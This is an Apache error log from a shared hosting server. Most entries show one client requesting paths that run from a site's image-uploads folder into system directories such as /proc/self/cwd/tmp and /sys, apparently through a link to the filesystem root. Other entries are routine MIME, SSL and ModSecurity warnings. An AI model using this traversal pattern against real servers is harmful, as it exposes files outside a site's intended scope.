[Fri Jul 17 09:19:46.936888 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-60fd5dda6d1f494b8d9a22657cc1cb31-ea-php72-php-fpm.service-kK7YxR/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-60fd5dda6d1f494b8d9a22657cc1cb31-ea-php72-php-fpm.service-kK7YxR/' is executable
[Fri Jul 17 09:19:46.936945 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-chronyd.service-hoCdPu/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-chronyd.service-hoCdPu/' is executable
[Fri Jul 17 09:19:46.937028 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/LaYGsIoMJ5/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/LaYGsIoMJ5/' is executable
[Fri Jul 17 09:19:46.937107 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-a2f2d96eb1d44996bc6c946c8e837cdd-ea-php74-php-fpm.service-6azB4n/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-a2f2d96eb1d44996bc6c946c8e837cdd-ea-php74-php-fpm.service-6azB4n/' is executable
[Fri Jul 17 09:19:46.937152 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/7et3HXhIwT/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/7et3HXhIwT/' is executable
[Fri Jul 17 09:19:46.937195 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-o3fagimz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-o3fagimz/' is executable
[Fri Jul 17 09:19:46.937244 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-90b18f9239f84449b4a70ce7349a2288-chronyd.service-dAtWAj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-90b18f9239f84449b4a70ce7349a2288-chronyd.service-dAtWAj/' is executable
[Fri Jul 17 09:19:46.937289 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-a2f2d96eb1d44996bc6c946c8e837cdd-ea-php81-php-fpm.service-vyCG4O/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-a2f2d96eb1d44996bc6c946c8e837cdd-ea-php81-php-fpm.service-vyCG4O/' is executable
[Fri Jul 17 09:19:46.937331 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-8w3dzhz2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-8w3dzhz2/' is executable
[Fri Jul 17 09:19:46.937383 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-9233669364ca4619987f7db201f6b750-ea-php72-php-fpm.service-EqCHxI/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-9233669364ca4619987f7db201f6b750-ea-php72-php-fpm.service-EqCHxI/' is executable
[Fri Jul 17 09:19:46.937444 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/yXi5em8pEb/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/yXi5em8pEb/' is executable
[Fri Jul 17 09:19:46.937490 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-ea-php74-php-fpm.service-EBP8Mc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-ea-php74-php-fpm.service-EBP8Mc/' is executable
[Fri Jul 17 09:19:46.937535 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/_Nu05U9VUJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/_Nu05U9VUJ/' is executable
[Fri Jul 17 09:19:46.937599 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-6v121nds/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-6v121nds/' is executable
[Fri Jul 17 09:19:46.937661 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-9233669364ca4619987f7db201f6b750-ea-php81-php-fpm.service-zjmXVI/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-9233669364ca4619987f7db201f6b750-ea-php81-php-fpm.service-zjmXVI/' is executable
[Fri Jul 17 09:19:46.937706 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-bxn6xk3m/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-bxn6xk3m/' is executable
[Fri Jul 17 09:19:46.937751 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-532d45816ecf4472816111a2fd2da01c-ea-php74-php-fpm.service-oukLH3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-532d45816ecf4472816111a2fd2da01c-ea-php74-php-fpm.service-oukLH3/' is executable
[Fri Jul 17 09:19:46.937807 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-9233669364ca4619987f7db201f6b750-ea-php73-php-fpm.service-9Yv4sk/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-9233669364ca4619987f7db201f6b750-ea-php73-php-fpm.service-9Yv4sk/' is executable
[Fri Jul 17 09:19:46.937855 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/_b7IKe7sfa/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/_b7IKe7sfa/' is executable
[Fri Jul 17 09:19:46.937903 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-3fac18e279fa4e46ae0d20c2385ed9e8-ea-php74-php-fpm.service-WfR8eA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-3fac18e279fa4e46ae0d20c2385ed9e8-ea-php74-php-fpm.service-WfR8eA/' is executable
[Fri Jul 17 09:19:46.937951 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-a2f2d96eb1d44996bc6c946c8e837cdd-ea-php83-php-fpm.service-CmnU4C/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-a2f2d96eb1d44996bc6c946c8e837cdd-ea-php83-php-fpm.service-CmnU4C/' is executable
[Fri Jul 17 09:19:46.938034 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f84fb8468ee34e928fd0758bfeea5066-ea-php81-php-fpm.service-5LYSpI/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f84fb8468ee34e928fd0758bfeea5066-ea-php81-php-fpm.service-5LYSpI/' is executable
[Fri Jul 17 09:19:46.938095 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-amar2q87/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-amar2q87/' is executable
[Fri Jul 17 09:19:46.938142 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f84fb8468ee34e928fd0758bfeea5066-chronyd.service-qMd8JM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f84fb8468ee34e928fd0758bfeea5066-chronyd.service-qMd8JM/' is executable
[Fri Jul 17 09:19:46.938293 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-9r_yy99g/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-9r_yy99g/' is executable
[Fri Jul 17 09:19:46.938343 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-a2f2d96eb1d44996bc6c946c8e837cdd-systemd-coredump@7-3383325-0.service-cjpY0c/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-a2f2d96eb1d44996bc6c946c8e837cdd-systemd-coredump@7-3383325-0.service-cjpY0c/' is executable
[Fri Jul 17 09:19:46.938388 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-8f17d2fbffd640038e72919b7d3cb1d1-ea-php73-php-fpm.service-a1K5Pk/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-8f17d2fbffd640038e72919b7d3cb1d1-ea-php73-php-fpm.service-a1K5Pk/' is executable
[Fri Jul 17 09:19:46.938468 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-n4njhy_7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-n4njhy_7/' is executable
[Fri Jul 17 09:19:46.938531 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-74um43an/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-74um43an/' is executable
[Fri Jul 17 09:19:46.938597 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/ajymOCoPbL/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/ajymOCoPbL/' is executable
[Fri Jul 17 09:19:46.938648 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-ea-php83-php-fpm.service-3ZAZxJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-ea-php83-php-fpm.service-3ZAZxJ/' is executable
[Fri Jul 17 09:19:46.938693 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-5118ed36f3df49f887657ffa155ec3e0-systemd-coredump@0-3520302-0.service-EGsQWq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-5118ed36f3df49f887657ffa155ec3e0-systemd-coredump@0-3520302-0.service-EGsQWq/' is executable
[Fri Jul 17 09:19:46.938738 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-c3ce9b566f534e2cbbd4e6505c69659c-ea-php74-php-fpm.service-bU8YCm/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-c3ce9b566f534e2cbbd4e6505c69659c-ea-php74-php-fpm.service-bU8YCm/' is executable
[Fri Jul 17 09:19:46.938789 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-a2f2d96eb1d44996bc6c946c8e837cdd-ea-php81-php-fpm.service-oPbvMS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-a2f2d96eb1d44996bc6c946c8e837cdd-ea-php81-php-fpm.service-oPbvMS/' is executable
[Fri Jul 17 09:19:46.938835 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-3fac18e279fa4e46ae0d20c2385ed9e8-ea-php73-php-fpm.service-FmsRBw/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-3fac18e279fa4e46ae0d20c2385ed9e8-ea-php73-php-fpm.service-FmsRBw/' is executable
[Fri Jul 17 09:19:46.938884 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-9ubwk5b6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-9ubwk5b6/' is executable
[Fri Jul 17 09:19:46.940724 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-wli13azi/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-wli13azi/' is executable
[Fri Jul 17 09:19:46.940808 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/DbFcAB1hY5/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/DbFcAB1hY5/' is executable
[Fri Jul 17 09:19:47.006704 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty10/subsystem/ttyS1/device/driver/bind
[Fri Jul 17 09:19:47.208772 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:47.323907 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:47.714492 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:47.916008 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:48.016981 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:48.117630 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:48.219829 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:48.422338 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:48.525984 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:48.727366 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:48.806607 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:51330] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:19:48.827384 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:49.013134 2026] [ssl:error] [pid 2036488:tid 2036488] (70014)End of file found: [client 66.85.158.91:51340] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:19:49.050733 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:51350] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:19:49.361038 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:49.431338 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:49.556824 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:49.634781 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:49.843501 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:51412] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:19:50.266529 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:53.249346 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.244.66.230:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "v-deploy.com"] [uri "/robots.txt"] [unique_id "almmYfwooI4qY7Jg93pZ5gAAABM"]
[Fri Jul 17 09:19:53.249712 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.244.66.230:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "v-deploy.com"] [uri "/robots.txt"] [unique_id "almmYfwooI4qY7Jg93pZ5gAAABM"]
[Fri Jul 17 09:19:53.538719 2026] [security2:error] [pid 2031172:tid 2031172] [client 54.165.10.194:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "kamecho.lk"] [uri "/robots.txt"] [unique_id "almmYejME1mgqYZ5O94qdQAAAAE"]
[Fri Jul 17 09:19:53.539094 2026] [security2:error] [pid 2031172:tid 2031172] [client 54.165.10.194:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "kamecho.lk"] [uri "/robots.txt"] [unique_id "almmYejME1mgqYZ5O94qdQAAAAE"]
[Fri Jul 17 09:19:53.539482 2026] [security2:error] [pid 2031172:tid 2031172] [client 54.165.10.194:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "kamecho.lk"] [uri "/robots.txt"] [unique_id "almmYejME1mgqYZ5O94qdQAAAAE"]
[Fri Jul 17 09:19:54.430163 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:47192] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:19:55.246540 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:55.485215 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:56.064194 2026] [ssl:error] [pid 2036488:tid 2036488] (70014)End of file found: [client 66.85.158.91:47276] AH02013: coalesce failed to read from data bucket
